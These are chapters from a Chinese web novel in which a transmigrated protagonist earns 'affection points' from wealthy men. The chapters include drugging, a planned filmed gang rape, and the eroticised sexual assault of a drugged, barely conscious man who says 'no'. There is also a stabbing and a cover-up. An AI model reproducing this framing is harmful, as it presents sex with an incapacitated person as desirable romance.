《被天龙人强取豪夺之后》
3. 晚云
系统第一次见到云霏是在另一个世界,秋末冬初之时,带着点深秋的萧瑟和冬的幽冷。
也许是因为那个城市的地理位置在北方再北方,所以第一场初雪来得令人有些措手不及,云霏穿着白色的高领毛衣,靠坐在床头,透过窗户注视着雪花一片一片落下。
云霏看了多久,系统就观察了多久。
当时的它似乎是在云霏身上察觉到一种很吸引人的,无法言说的谜一样的感觉,彷佛受尽宠爱又彷佛始终孑然一身。
当然了,那时的它还没能理解这么高级的情感,它只是觉得,它要找的宿主就是云霏。
不会再有第二个人了。
它观察了很久,变成一片小雪花黏在窗户上尽量收集云霏的个人信息,它发现云霏住的房间里每天都会有很多人来来往往,频率非常固定的医生和护士、其次就是几个气质特别突出的高大俊美的男人。
他们一陪就是一天,云霏被他们无微不至的照顾着、呵护着,但即使如此云霏还是一天比一天消瘦,很快就如凋谢的花儿一样衰落下去。
后来系统关于那几天的回忆就只剩下了铺天盖地的雪、殷红的血、冰冷的墓碑和眼泪。
云霏“咕噜噜”吐出漱口水,鼓腮的动作让他做起来自然可爱,他故意眯眯眼伸出一根手指戳了戳发呆的系统团子,说起来他刚和系统签订协议的时候,系统还是以脑电波的形式住在他脑子里呢!
他绝对绝对不能忍受任何不受他控制的东西侵占他的领地,系统这种无生命物也是一样。
所以在他的强烈要求下,系统兑换了一个毛绒绒小团子的形态陪在他身边,还可以变大变小,抱在怀里的触感能让他舒舒服服睡个好觉。
人死还能复生这种事儿,云霏只在刚开始惊讶了一瞬就接受良好了,系统告诉他,他将进入小世界收集世界主要角色的爱慕值和虐心值来兑换复活的机会。
按照每个世界的积分计算,他至少要完成三个小世界才能达到目标,除非这三个小世界融合,辗转在三位主角身边,运气好的话,要不了几年,就能回家。
云霏当然是毫不犹豫地选择了第二种,家里可还有一个喜欢撒娇的咪咪公主等着他回去呢,也不知道那几个混蛋在他死后有没有好好照顾咪咪。
云霏回过神,惆怅地叹了口气,接着又打起精神来,摩拳擦掌地准备用最快的速度拿下那三个天龙人:【系统系统,你确定林屿桉最近会在咖啡厅出现吗?】
【是的,根据资料显示,林氏总裁林屿桉每周都会有一两天准时到晚云咖啡厅,具体时间不定】
【好,正好这边要暂时放几天,我们先去偶遇三号!】
云霏稍微整理了一下被扯开的衣服,调整了一下角度,让吻痕和嘴唇的红肿看起来像是被人尽量遮掩却还是能猜到发生了什么的样子,略显狼狈地去找经理请了几天假。
这一路上偷瞄他的人更多了,有些甚至开始明目张胆,或者暧昧地笑。
不过在一切尘埃落定之前,经理还是发话警告了他们不要动不该有的心思,那位姓霍的少爷看着可是对云霏上了心,之前还特地打过招呼,轻易不让云霏出来露面。
…………
“陆总,您之前让调查的那位有结果了。”助理推了推银边眼镜,把一叠分门别类整理好的资料放在桌上。
等了几秒,没等到别的指示,就贴心的把门带好退出了办公室。
陆氏集团的产业繁多,几乎各行各业都有涉足,每个CBD区都一定矗立着一栋陆氏集团旗下公司的大楼,不过其中最核心的集团大楼一定建在最繁华的地带。
有钱人总有一个通病,喜欢在最繁华的地带欣赏最美的夜景。
俯瞰灯火时,也是在俯瞰自己的商业帝国。
陆珵没有那个爱好,他对这些物质上的享受欲很低,过去的三十年里他严格按照家族的期望生长,被塑造成一个冷漠完美的陆氏总裁。
他本来以为这个世界上再也不会有能调动他心绪的事物出现,直到那天晚上,仅仅只是看到了那人被遮挡严实之下露出来的白皙侧脸和纤细脚踝。
一向不会为任何人停下脚步的陆大总裁第一次走神了几秒。
陆珵翻开桌上那本被装订好的资料,云霏,今年21岁,就读于a市京大,是一名音乐系大三学生,家庭幸福,父母双全,而且似乎是在演奏钢琴上有令人艳羡的天赋。
陆珵的视线在云霏穿着黑色正装端坐在钢琴前演奏的照片上停留了很久。
再翻过一页时,这些美好幸福就像被戳破的泡泡一样,云霏的父母在旅游时遭遇了突如其来的一场车祸,父亲去世,母亲进入重症监护室昏迷至今。
云霏为了治疗母亲花费了家里大部分存款,却依然是个无底洞,甚至学业都无以为继,只能暂时休学,后来阴差阳错进入N ight打工。
指尖在桌面轻轻敲击,陆珵站起身来,落地窗外,任何事物都显得那么渺小。他任由思绪发散了一会儿,冷沉的眸光中流露出一丝兴味。
他想要的,就没有得不到的,从来如此。
霍栩又算得上什么?只是想一想就觉得啼笑皆非,狼崽子再怎么龇牙也还是个狼崽子。
陆珵转身坐回那张宽大的座椅,闭上眼,云霏因为被人亲狠了而含着一层水雾的一瞥再次出现在他脑海里。
湿漉漉的、适合露出更多隐忍脆弱表情的——
那张美丽的脸。
…………
舒缓的乐音倾泻而出,像簌簌的雪落到叶子上,又像是在轻声讲述一件心事,坐在温暖的火炉旁,手里捧着热茶,面带微笑,不说话,那也很好。
云霏穿着正装打着领结坐在钢琴凳上,修长的手指在黑白琴键上跃动,舞台的打光柔和,有些昏黄,让他出众的面容彷佛火光照耀着似的。
咖啡厅里客人不多,但都不约而同停下了交谈,他们一边品味咖啡的醇香,一边欣赏台上优越的演奏者和他气质独特的乐音。
林屿桉就是在这个时候推开了晚云的门,门口的铃铛发出一声脆响。
他静静站在门口欣赏了一会儿,随后在侍者的引领下落座,门口陆陆续续又有人进来,铃铛的声音破坏了和谐的乐声。
原本舒缓的琴音慢慢急促起来,台上那名黑发雪肤的演奏者眼底开始慢慢积聚起一些忧伤,让人联想到溺水前的绝望,雾霭下的城市像深渊裹住人,开始挣扎。
最后一个音符被弹奏出来之后,云霏深深呼出口气,这些天压在他身上的焦虑和担忧终于减轻了一点儿,他没有立刻退场,而是轻拂过琴键,和老板说过再见之后才开始收拾东西。
晚云咖啡厅给的报酬很可观,它的老板也是个很有趣的人,气质有些像大学教授,性格却带着点侠气,云霏来应聘时他只是两眼一扫,就叼着根烟点了头。
无所谓云霏弹什么曲子,只要隔天来一次,按次结清。
虽然云霏在这里工作的时间不久,但他在心里却已经把老板当成了一个可以说话的朋友,有时候他来老板会请他喝一杯自己调制的奶茶。
两个人就这么对坐着,一个捧着杯子小口啜饮着奶香,嘴上会围上一圈奶沫,另一个则是倒一杯红酒,闭着眼哼着歌儿。
奶茶喝完时,云霏就会起身离开,离开这个暂时让他感觉到温暖的地方。
一连串的铃铛碰撞声响起,云霏紧了紧身上的外套,外面又下起了雨,水汽扑面而来,远处雨滴连成一条绵密的白线,模糊了所有人的面容。
云霏静静地站在门檐下,清冷的眉眼镶嵌在那张没有多少血色的脸上,让人很容易无端地想到终年不化的雪和坚硬的冰面下那涌动着的深蓝。
但其实,当事人只是在想,他要不要回去找老板借一把伞。
“抱歉,”侧面突然伸出来一只手,手上握着一把黑伞,“介意吗?”
云霏循着声音
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看过去,递伞的人眉目含笑,银边眼镜下是一副俊朗非常的五官,不过相对于出色的长相,他的气质更容易给人良好的第一印象。
儒雅斯文,一看就是被文学或艺术熏陶出来的。
云霏心里因为陌生人搭话的那点儿警惕就这么被化解了,但看在林屿桉眼里,容颜姣好的青年先是低头思考了一秒,长长的睫羽不安地眨了几下。
然后一只白皙修长的手轻轻接过他递过去的伞,却不急着展开,而是抬眼看向他。
乍一和那晶莹剔透的黑色宝石对上视线,林屿桉承认自己确实被吸引了,如果不是良好的自控能力,他现在说不定已经握住青年那像是被造物主精心雕琢出来的腕骨,然后一寸一寸近距离的、仔细地欣赏那美丽的眼睛。
适合被保存下来,做成标本的黑宝石。
“谢谢,”云霏点了点头,然后又从口袋里拿出手机,“多少钱?我转给您。”
“不用,”陌生男人脾气很好地笑了笑,又指着晚云咖啡厅解释,“等我下次过来你再还给我就好,可以吗?钢琴家先生?”
后一句称呼明显带着更浓厚的笑意。
云霏微微睁大了眼睛:“我,我只是在这里兼职而已,谈不上什么钢琴家,先生,您谬赞了。”
语气中带上了一丝被人调侃的羞赧,只是他掩藏的很好,在外人看来只是说话稍快了一些。
林屿桉兴趣更浓,他扶了扶鼻梁上的眼镜,借着动作遮掩自己不断扩大的嘴角,和被压抑很好的某种病态的狂热:“不,如果我没猜错的话,刚才那首曲子应该出自你手?”
“我虽然在艺术上没有多少造诣,但也听得懂好坏,如果给你时间,未来你的名字一定会出现在各大音乐厅和独奏会。”
被人用这么真挚的话来肯定自己在钢琴上的天赋,应该是高兴的,云霏刚刚的心绪也起伏了一瞬,只是……
微微融化的坚冰又被覆上一层薄雪,云霏披上冷淡的外壳,婉言谢过陌生人的夸赞,黑伞笼罩下,青年单薄的背影渐行渐远。
不远处一辆黑车缓缓停在刚才这位陌生人身侧,车上的司机很快下来躬身接过伞,语气恭敬:“少爷,霍家送了邀请函,霍夫人要重新举办宴会,听说霍少已经妥协了。”
“是么?”林屿桉把玩着手上的一串琉璃珠,这本是他亲自去挑、串起来的,在自然光线下也配得上一句流光溢彩,可是,却根本比不上刚才那个青年的一次回眸。
紧绷的线被扯断,珠子四散,被人毫不留情地踩在脚下。
“我们也去凑个热闹。”
…………
某国。
“不是说了么?二叔?怎么就是不长长记性呢?”年轻高大的男生嘻嘻哈哈,手里一把银色餐刀被他转出一抹残影。
半趴着跪在地上的人哆哆嗦嗦,不断地来回摇着头,竟然怕得连话都说不出来。
“景……景淮,饶了二叔这一次,”许是逆境中更能激发人的求生欲望,跪着的中年男人满含希冀地开了口。
“我再也不会回来,B国、C国,哪里都好,绝对不会再碍你的眼——”
裴景淮嗤笑了一声掏了掏耳朵,手中的餐刀拍打着男人流着冷汗的脸:“二叔啊,我已经给过你机会了,可惜了,晚喽。”
话音未落,伴随着皮肉被刺入的噗嗤声响和凄厉的叫喊,血色把银色餐刀浸透。
“嘶,怎么就是有这么多不安分的呢?”男生用舌头顶了顶腮,一只脚踩上餐桌,扯下餐布一边擦着鞋面被溅上的血渍,一边摆弄着手机。
手指在联系人上滑动,最终停在一个纯白的头像上,点开对话栏,上次他发过去的信息对方还没有回复。
“把不听话的一次性处理了吧,我没这么多时间跟他们耗,办完事我要尽快回国。”
静立在旁的管家已经习惯了自家少爷喜怒无常的脾气,习惯性地安抚着:“少爷放心,已经在收尾了。”
4. 下药
演完初见的戏码,云霏从林屿桉身上得到了20点爱慕值,但他并不准备把接下来的精力都用在他身上。
根据系统的调查资料,这三个人里,裴景淮和林屿桉都有明确的喜恶。
可以让他对症下药,量身打造一个完美的情人。
只有陆珵,从小到大的经历可以用寡淡来形容,没有明确的喜好,脾气秉性也是一如既往的稳重自持。
好像这个世界上就没有能让他变了脸色的事物。
不过,有难度也很正常,要想在极短的时间里完成攻略任务,就只能给他们几个下猛药!
比如,来个强取豪夺虐恋火葬场,保证让他们体会到爱情的“美妙”!
云霏把脸埋在变大的系统团子身上,满身绒毛暖呼呼的,想到自己计划里精彩的地方,他忍不住来回在床上打滚儿。
系统静静地任云霏对它上下揉捏,有些好奇宿主的脑袋瓜里又装了什么好玩的事儿呢?
云霏一会儿滚到左边,一会儿滚到右边,半响,他突然坐起身来,凌乱的额发掩不住他亮晶晶的双眼。
既然虐恋有了,那怎么能没有逃跑这一part呢!再加个他逃他追他插翅难飞,妥了!
在心里打好草稿,云霏戳了戳系统团子,【系统系统,距离那场霍家举行的宴会,还有几天?】
【还有三天,霍家、陆家、林家都会出面】系统答道。
【时间还来得及,让我想想,怎么才能找机会合理的出现在酒店呢?】
*
真是瞌睡来了就有人送枕头,第二天云霏难得睡了个懒觉,醒来的时候手机里静静躺着几条陌生号码发来的信息。
他从记忆里扒拉了好一会儿,才想起来信息里一直在祈求原谅的人是谁。
李雍,是他大一大二的舍友,当时对他特别照顾,按照云霏的性格,即使嘴上不说,心里也对他付出了一定的信任。
可偏偏就是这一点儿信任,让云霏被人轻易的骗到Night,签了“卖身契”。
信息里李雍说他也是被人骗了,本来想着云霏因为突遭家庭变故,需要用钱,他也是好心想帮他介绍一个工作。
谁知道那里面暗潮汹涌,把人推进了火坑。
措辞恳切,认错态度不可谓不真诚。
云霏冷笑,真相是李雍一直喜欢他,只是两人实在不匹配,而且云霏也绝对不可能接受他的心意,所以他换了种方式,一点一滴侵入云霏的生活。
得到了信任之后,为了心底那点儿说不清道不明的阴暗欲望,让云霏进了Night。
他能不知道Night是什么地方吗?他可太知道了,甚至还有一群狐朋狗友给他出主意。
让他最后一次利用云霏的善良,把人骗出来,几个人轮流玩玩,尝一尝高岭之花的味道。
云霏看着信息上写的地址,冷哼了声,为了能顺利实行接下来的计划,他勉强回复,准备当面听李雍的解释。
*
约定的时间将至,隐秘性很好的餐厅包厢里,李雍按了按蓝牙耳机,让其保持畅通。
很快,出现了他那群朋友的声音。
“怎么样?人到了吗?”
“急什么?”李雍撇了撇嘴,他倒是长了一张能称得上“帅”的脸,平时在学校也还算受欢迎。
可谁让他看上了那朵有名的高岭之花呢?想要得到人,软的不行只能来硬的。
“北舍这边的房间准备好了,到时候你直接把人送过来就行,设备也都准备好了,动作快点儿!”
“放心吧,”李雍听见敲门声连忙压低了声音,很快,他和门外那双清凌凌的眸子对上了视线。
“你好,客人,请问——”服务生推开门愣了一下,她没记错的话几分钟之前包厢里还有两位客人,现在却空无一人。
只剩下桌面上一只歪倒了的红酒杯。
*
北居建在半山,门口是一条盘山公路,各色豪车从山脚汇聚而来,远远望去如一道长长的萤火。
大厅里灯火通明,来了的人早已三三两两聚在一起,推杯换盏、玩笑寒暄。
而这场宴会的其中一位重要人物,却在休息室里处理着文件。
永远是一身剪裁得体的黑色西装,明明是俊美的五官,却始终没有半分波动。
本该只有他有权限的房门被人从外面一脚踹开,陆珵抬眼,平淡如水的黑眸里多了几分锐利。
“你满意了?小舅?”来人一身红色西装,同色系衬衣被他刻意扣乱,搭配着刚剪过的寸头,让人看起来更加狂放不羁。
被抓住压着来参加宴会的人也只能在这方面反击。
霍栩大喇喇摊坐在陆珵对面的椅子上,眯着眼,挑着眉,一副很明显的挑衅神态。
愚不可及。
陆珵冷静地在心里送出评语,并没有为便宜外甥的挑衅眨一下眉头。
他只是照常处理着文件,空出一只手弯下指尖敲了敲桌面:“你的心理医生说,你最近的暴力行为增多,治疗过程拒不配合。”
“我说了,我没病。”霍栩像是被捏住七寸的狼崽,只能暗暗呲牙,却无法做出什么有效的报复措施来。
他的呼吸渐渐粗重,半晌,终于忍不住泄愤似的狠狠踹了两脚办公桌。
厚实的木桌被这股大力踹得移动了几分,黑色签字笔在纸上写出一道划痕。
陆珵捏捏眉心:“看来心理医生说得没错,如果接下来你还没有好转,我只能考虑把你送到国外。”
“你凭什么管我?”
霍栩仍然记恨着陆珵那天把他从Night带走的事,小时候对小舅产生的一丝亲情早已消失不见。
如果那天他没走,如果这几天他没被关起来,说不定他早就……如愿以偿。
更何况尝过美味的人是没办法停止渴望的,
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戒断期只会让这种冲动愈演愈烈、最终席卷一切。
“凭你只会龇牙,不会亮爪子。你没有能力也没有资格逃脱我的管束。”陆珵已经没有耐心再和他纠缠下去。
这个外甥在他眼里的价值甚至不如他的助理。
只会胡搅蛮缠、狂妄自大的废物。
霍栩倒是没对这句话产生反应,他只是意味不明地笑出声,然后“砰”地一声双手撑在桌面上。
“好啊,不过在那之前,我还有份礼物要送给你,小舅,你最好期待一下。”
霍栩带来的闹剧并没有持续多久,陆珵看着敞开的门也只是皱了下眉头。
居然把他的房卡随意给他人,这间酒店的负责人被他加入了黑名单。
“陆总,霍夫人请你下去。”季遇从楼梯上来时看到敞开的总统套房时心底微微诧异。
旋即回想起刚才霍家少爷从这个方向离开,才有所了然。
“我知道了。”陆珵在这些无关紧要的小事上一向愿意配合姐姐,哄人高兴罢了。
*
“真行啊你,人这么快就弄到手了?”
“别废话了,快点把他抱进去,咱们一堆人围在这儿,容易被看到!”
“怕什么?这是我家的酒店?李雍你小子,胆儿怎么变小了?”
“今天霍家举行宴会,你不知道吗?”
“知道啊,有什么好怕的,我就是要在这个时候睡了霍栩的人,怎么了?”
“他算个什么东西?仗着霍家、陆家在背后撑腰,看上的人偏偏不让我们动一根手指头,**,老子早就想这么干了!”
云霏的意识昏昏沉沉,他仿佛陷入了一个无法醒来的梦里,他很想就这么睡过去,可是耳边的嘈杂声让他无法睡得安稳。
他感觉到自己好像被打横抱起,周围有几个人的脚步声、议论声,还有门被上锁的咔哒声。
他努力地想要睁开眼睛弄清楚情况,却只能看见无数被分割的光影来回闪烁。
“把摄像机打开,”他听见有人说,“镜头对准这个表子,把他的脸拍清楚点!”
表子?他在说谁?
有人把他扔到了床上,陷入了柔软的床垫里。
云霏觉得自己的脑子乱成了一锅浆糊,雾蒙蒙的,想要理解他们话中的意思,却很费劲。
发烫的身体让他觉得很难受,他忍不住双腿蜷缩着相互磨蹭,被脱掉鞋袜的白皙脚掌还透露着粉色。
腕骨被人捉在手里把玩,粗粝的触感让他不舒服地踹了过去,却被人一把抬高,黑色裤脚落下,露出更多被掩藏着的美景。
耳边的声音更加嘈杂,周围的人调笑着,喘息着,这些声音汇集在一起,像是恶魔的低语。
“你们说,咱们在三楼玩着弄着霍少的心肝宝贝,他在底下开他的宴会,当面给霍少戴绿帽子——”
“啧啧,这感觉,是不是爽爆了!”
5.自作自受
被桎梏的感觉很不好受,更别说握住他腕骨的手还在摩挲着他因为药效而温度上升的皮肤。
即使意识不清,身体残存的求生本能也让云霏感觉到了某种危险,他艰难地用发软的手肘撑在床铺上,五指尽力地想要抓住什么,却只是将顺滑的床单抓出了褶皱。
“cao!真是让人忍不住想把他往死里弄!”
李雍几个围在摄像机前,高清的设备把影片里主角的每个表情都记录了下来。
那种隐忍着的,将要沦为欲望的奴隶却一次又一次地从密不透风的包裹中挣扎的表情真是美妙。
“谁第一个上?”领头的那个,也是提议把云霏带到北居的公子哥给了周围的人一个眼神,然后把李雍往前推了推,“兄弟,没有你,咱们也不能干成这事儿啊。”
“你先来吧,记得给小美人儿松松筋骨,让哥几个好玩得尽兴。”
李雍没有推拒,他顺着力道站在床前,他知道这几个人渣嘴上说得猖狂,其实心里还是对霍家这个庞然大物有着深深的恐惧。
早就准备好的摄像设备就是为了威胁云霏,他们笃定像云霏这种普通人没有勇气来反抗他们,只能一次又一次地顺从,直到被他们玩腻。
至于让他第一个来,李雍暗骂了一声蠢货,假如霍少事后察觉,难道他只会追究第一个拥有云霏的人吗?
那些高高在上的少爷,要么不在乎,要么就会迁怒所有人。
不过……李雍俯下身子轻轻摸了摸云霏滚烫的脸,满是算计的眼中却带着珍视的温柔,牡丹花下死,做鬼也风流。
如果他什么都不做,那他永远也别想得到云霏,即使是以这种惨烈的方式把云霏推进火坑,他也不后悔。
再痛苦一点吧,再绝望一点吧,只有这样,他才能短暂的拥有。
在李雍在那里神神叨叨脑补了一大堆自以为是的深情的时候,云霏偷偷翻了个白眼,他按捺着想要一拳打在李雍脸上的冲动尽职地扮演着一个受害者。
云霏确实中药了,不过在系统的帮助下他的意识还是清醒的,他本来是想通过李雍合理的出现在这家酒店,却没想到这群人这么下作,连绑架强*录像也能做得出来。
【系统!】
【收到,宿主请放心,接下来他们会失去行动能力,您的逃脱将被合理化。】
深夜,一楼的宴会大厅还是灯火通明,衣香鬓影、西装楚楚。而一层楼之隔的三楼却是一片寂静,直到某一间房门被打开,一只染血的手搭在门框上。
白皙指节已经被鲜血染红,颤抖着想要从门框上借力,来支撑自己逃出这个魔窟。
跌跌撞撞从房间里跑出来的人赤着脚,在深秋的天气里,即使走廊的地面铺着厚厚的地毯,也还是被冷意侵染,更别说他身上只堪堪挂着一件衬衫和一条裤脚被卷到膝盖的黑色长裤。
云霏咬住舌尖,靠着一瞬间的疼痛换来暂时的清醒,他调动着自己发软的手脚,拼命地向前跑。
可是他真的没力气了,身体里的热气不断地席卷而来,没有得到纾解的欲望叠加起来汹涌地吞噬着他的理智。
也许下一秒,他就要在走廊里露出失控的丑态,云霏闭了闭眼,一滴晶莹从眼角划过苍白的面颊,软倒的身子彻底滑落在地毯上。
陆珵一边踩上旋转的最后一节阶梯,一边扯开打理整齐的领带,脖颈处的松快使得眉目间的沉郁被压下去了大半。
这种宴会少不了寒暄敬酒,即使他是那个被敬酒的对象,今天晚上也还是喝了不少。
他不喜欢喝太多酒,这会让他的意识脱离自己的掌控,而人在不清醒的时候能干出什么是无法预料的,他不想自己给自己收拾烂摊子。
不过,有的时候,也许还应该感谢这偶尔的不受控。
要不然,他怎么会看见那张让他心绪起伏的脸。
“救……救我,请……请把我送到……医院……”云霏尽力抬起被打湿的脸,脸上晶莹的液体分不清到底是泪水还是汗水,他睁开朦胧的眼睛,却只能看见一双手工定制的皮鞋停在他眼前。
紧接着一双手掐住他的下巴,把他的脸抬起来,他正对上一双沉郁锐利的眼睛,不带感情地评估着他出现在这里的目的。
“先生,麻烦你……报警……”云霏还想继续说下去,却被人毫无准备地抱起来,有力的手臂箍住他的腰身,微凉的触感让他忍不住想汲取更多凉意。
他轻轻蹭了蹭。
陆珵意味不明地停下脚步,怀里的人无意识地张开红润的嘴唇,小口吸着气,露出一小段殷红的舌尖。
他把人放在总统套房的主卧上,本想起身却被人蜷缩着手指揪住了随重力下落的领带,床上的人已经彻底不清醒了,像只小猫似的,把自己缩成一团。
手里却还一定要攥着什么,缺乏安全感的、可怜的小猫。
陆珵一边想着,一边毫不留情地把领带从云霏手中抽了出来,他冷静思考着这人是被人刻意送来的概率有多大,转身出了卧室,助理还在客厅等着他。
“去查。”简短的两个字,季遇点了点头,不过脚步却没半分移动。
他犹豫了几秒,还是顶着压力提醒道:“陆总,他被下的药很重,需要叫个医生吗?”
“给罗医生打电话。”
半晌,季遇感觉自己恐怕保不住这份工作的时候,才听到男人骤然沉下来的语气,像是被人觊觎自己所有物的不悦几乎要化为实质。
“是,”季遇定了定神,脚步一抬就赶着去处理事情了,关门的时候余光看到陆总坐在昏暗的阴影处辨不明神情。
他这时才后知后觉想到,把那个小侍应生和陆总单独放在一个房间真的……不会出事吗?
不可否认,陆珵确实被刚才怀里乱蹭的人引起了欲望,但他不会顺势吃下这块可口的点心,他想要的,是被他调查得清清楚楚、整个人都被牢牢掌控在他手心的称心的宠物。
而不是一个目的不明,“恰好”被他英雄救美的蓄意接近。
他把脖子上的领带扯得更开,随手接了一杯凉水来平复心里的悸动,门里始终得不到抚慰的人开始低低地啜泣起来,夹杂着一两声含糊的呻吟。
每个细节都被他捕捉到,杯里的凉水越来越少,开始见底。
不对,陆珵烦躁地打开全部的灯,客厅的角落不知道什么时候被摆放了一支香薰,淡淡的花香充斥着整个房间。
他的眼神一凛,却快不过汹涌的情潮,他几乎是不受控制地往
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前走了几步,差一点点就可以推开卧室的门。
没关系的,反正你早晚都要得到他,有目的地接近又怎样,只不过是提前享用而已。
心底的冲动愈演愈烈,陆珵本就没什么道德感,他脱下外套,整齐地搭在椅背上,随后一步一步靠近床上亟待拆开的礼物。
*
楼下,本就不耐烦的人连基本的礼貌也维持不住,霍栩仅靠着凶戾的表情就吓退了大部分“相亲对象”,人家富家千金也不是看不懂霍家的态度。
既然当事人没那个意思,她们也不会自讨没趣。
联姻嘛,找个顺眼的不好吗?
终于,在霍栩第三次吓退人之后,一旁和人谈笑风生的霍夫人才摆摆手任由他去。
一得到自由,霍栩就压抑不住嘴角嗜血的笑容,他带着几个被他安排好的记者悠哉悠哉地走上楼梯。
小舅,希望你能喜欢这份为你特别定制的礼物。
也不知道等明早,陆氏集团大名鼎鼎的陆总的绯闻出现在头版头条上时,陆家那几个老头子会是个什么反应。
想到这儿,霍栩就压抑不住内心大笑的冲动,只要能看见他小舅那张万年不变的冰块脸上露出吃瘪的表情,他就觉得畅快无比。
*
因为维持清醒被咬破的舌尖被人含在嘴里轻柔地安抚,缓慢的□□让云霏不自觉地哼了哼,像是不满足于这样的力度。
身上的人笑了笑,在云霏口腔里翻搅的力度加大,越来越凶的节奏让云霏有些招架不住,他摇着头想要躲避,却被人捏着下巴被迫迎合。
因为难耐而紧攥住床单的手也被人强硬地十指相扣按在肩膀两侧。
身上的衣物好像也被人剥落下来,赤身裸体的感觉让意识模糊的云霏迟钝地感觉到一种窘迫。
他开始不配合起来,细白的双腿并拢在一起,挣扎着要往一边爬。
陆珵呼吸渐渐粗重,他单手解开皮带,把身下人的双手禁锢住按在头顶,这才腾出一只手按住云霏细嫩的腿肉,轻缓地抚摸、揉弄。
原本游刃有余的猎人开始失了理智,只想用最粗暴的方式把身下人打上属于自己的烙印。
一个个暧昧的吻痕绽放在冷白的肌肤上,雪地的红樱其中一颗已经熟透,比另一颗整整大了一圈,诱惑着人俯身去咬,彷佛能流出香甜的汁水。
*
“滴——”霍栩收回手里的房卡,轻轻地打开门,总统套房里亮如白昼,要不是客厅还在燃烧着的香薰彰显着存在感,他还以为自己没成功呢。
等众人走到房间深处,一阵细弱的呻吟让正等着拍下头条的记者眼神一亮。
还没等他们推开门,原本一脸兴味的霍少突然沉了脸色。
霍栩也不知道他在听到熟悉的声音的那一刹那在想些什么,好像世上的一切都随之远去,只有那一声声微弱的呻吟鞭打在他心上。
仿若凌迟。
颤抖的双手推开一条门缝,床上的情景映入眼帘,那双曾被他仔细描摹过的小腿随着身上人的动作一晃一晃,脚趾不受控制地蜷缩起来,泛着情yu的颜色。
【霍栩虐心值:100】
【陆珵爱慕值:30】
系统播报。
6.夺“妻”之恨
原来人是真的可以那么清晰地听见自己血液凝滞、倒流,心脏一瞬间崩裂的声音。
霍栩按住房门的手颤抖着握成拳,指尖用力,深深地按进自己手心的皮肉里。
而他身后的人还不知道发生了什么,各自调试着手上的设备,只有个机灵的小记者,在看到霍栩停下脚步的时候就感觉不对劲,这种危险雷达在霍少吐出一个低沉的“滚”字的时候达到顶峰。
他麻溜地跑了。
那几个蠢货同行还没听清霍少说了什么,还在追着问“怎么了霍少?”“里面的人不是陆总吗?”,直到一声暴喝:“都给我滚!”,他们才后知后觉自己今天是来错了场子。
这么大的动静,里面的人自然也已经听到,陆珵皱了皱眉,定神凝视了两秒床上这具被他摧残过的酮体才从那种情欲上头的感觉中暂时脱离出来。
掌心下是莹润细腻的肌肤,陆珵的视线扫过身下人明显神智不清的样子,克制了继续的冲动,从一边拽过薄被把云霏所有裸露的皮肤盖住。
陆珵迅速打理好自己身上的衣服,转头迎面对上了霍栩那嗜人的目光。
出乎意料,这一次霍栩居然没有质问,而是一言不发地挥拳重重砸了过来。
陆珵结合房间里有问题的香薰以及被人刻意拿到的房卡,很快就想明白了事情的关键,他原本以为这个外甥只是蠢,没想到他胆子大到居然敢如此算计他。
他的眼神变得森冷,稍微侧头避过攻击后不再留手,两个人在这充满了情事气息的房间里你一拳我一脚,彷佛两只为争夺床上美人配偶权而大打出手的雄兽。
如果实力势均力敌,失败的那一方也还能有个英雄救美的名头,但这是一场毫无悬念的碾压,于是瞬间沦为窝囊的沉睡丈夫角色。
美丽的妻子自然会被更有权有势的人拢入怀中。
陆珵抬脚踩上霍栩刚刚被他重击过的腹部,毫不留情地用皮鞋的尖端碾压,他弯下腰,一字一句地宣告胜利:“你送来的礼物,我很喜欢。”
砰!
一声骇人的闷响,陆珵偏过头,轻描淡写地抹去嘴角的血丝。
本来已经力竭的狼崽子在听到这句话时不知道从哪里爆发出一股力量,终于在仇人脸上留下青紫的勋章,可是霍栩一点都没有报复成功的快感。
有的,只有无尽的悔恨和心痛。
是他自己……亲手……把喜欢的人送上小舅的床,他本来安排了其他人的,云霏怎么会出现在这里,为什么?为什么他不能来得更早一点!
霍栩靠在墙边,额头上滴下来的血打湿头发,遮住了他阴鸷的眼神。
季遇带着保镖和医生推门进来时看到的就是舅甥对峙的场景,他惊了一瞬,潜意识里察觉到了不同。
原先霍少爷闹得再厉害时也没有像这样,带着一股不管不顾的戾气,把所有的不甘和恨都藏了起来,保镖们把他架走时他甚至都没有反抗。
只是最后他抬眼扯了下嘴角,季遇看那句话的口型应该是“我不会放过你的。”
嗯,又是撞破豪门隐秘的一天,季遇用余光观察了下陆总的神色,并没有看见什么波动,看样子完全不把霍少爷放在眼里呢。
不过,季遇眼神复杂地看向床上的那个小侍应生,医生在陆总授意下给他打针时,小侍应生的手臂暴露在灯光下。
上面吻痕、咬痕、束缚痕交错,深深浅浅,让人不禁想象薄被下其他的身体部位是不是也印满了红梅。
陆珵垂眸看着医生忙来忙去,视线却一直离不开云霏潮红的面容,仅仅只是这样,胸腔里那颗心脏的跳动就不再规律,不再是一片死水。
很奇怪的感受,让他觉得有些不舒服,又有些好奇,想知道云霏对他的影响能大到什么地步,他的底线又能放到多宽。
充满挑战性的一次尝试。
“陆总,病人被下的药太重,刚才我给他打的针只能缓解一二,要想对身体无害还是要……纾解出来。”
医生眼观鼻鼻观心,没有多看。
“我知道了。”
“陆总,今天晚上的事情调查清楚了,小……云先生是被他原先的大学室友骗到这里来的,他们在这里开了个套房,里面架着录像设备,打算……”季遇瞥了眼陆珵的表情,及时止住话头。
但未尽之意在场的人都听得明白。
“我带人过去的时候,里面的人被捅伤了,躺了一地,走廊上的监控正好拍到了云先生手里握着刀身上染血的画面。”
“处理了吗?”陆珵走到床边坐下,伸手把那截小臂放回被子里,他手掌下滑,顺势握住云霏的手,感受他的温度。
“监控处理掉了,但是那几个人——”
陆珵看他一眼,季遇微微点头,转身带着医生离开房间,还贴心地把门关好。
刚走出酒店没多久,季遇就拨打了一个号码,三言两语把这里的情况交代清楚,剩下的就不归他管了。
陆氏集团这么多年屹立不倒,当然不止这些明面上的生意,还有一只看不见的大手帮忙处理这些见不得人的事情。
远的不说,同为a市三巨头之一的裴家,就和某国的一股势力牵扯很深,他们家选择继承人都是刀光剑影的,不流点血完成不了换代。
…………
房间里的温度被人调节得很舒适,但是小半张脸都陷进被子里的人依然觉得很热,蹙着眉,眼睛半睁不睁,含着细碎的水光,会说话似的,映着祈求。
陆珵托着掌下的身体,一寸寸吻过,尝过,刚消解下去的欲望再次蒸腾,他把云霏翻过身来。
俯身压上去的时候,两人之间再无任何缝隙
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,身下的人似乎是被贴上来的凉意给弄得瑟缩了一下,嘴里喃喃叫着不要。
……
……
……
……
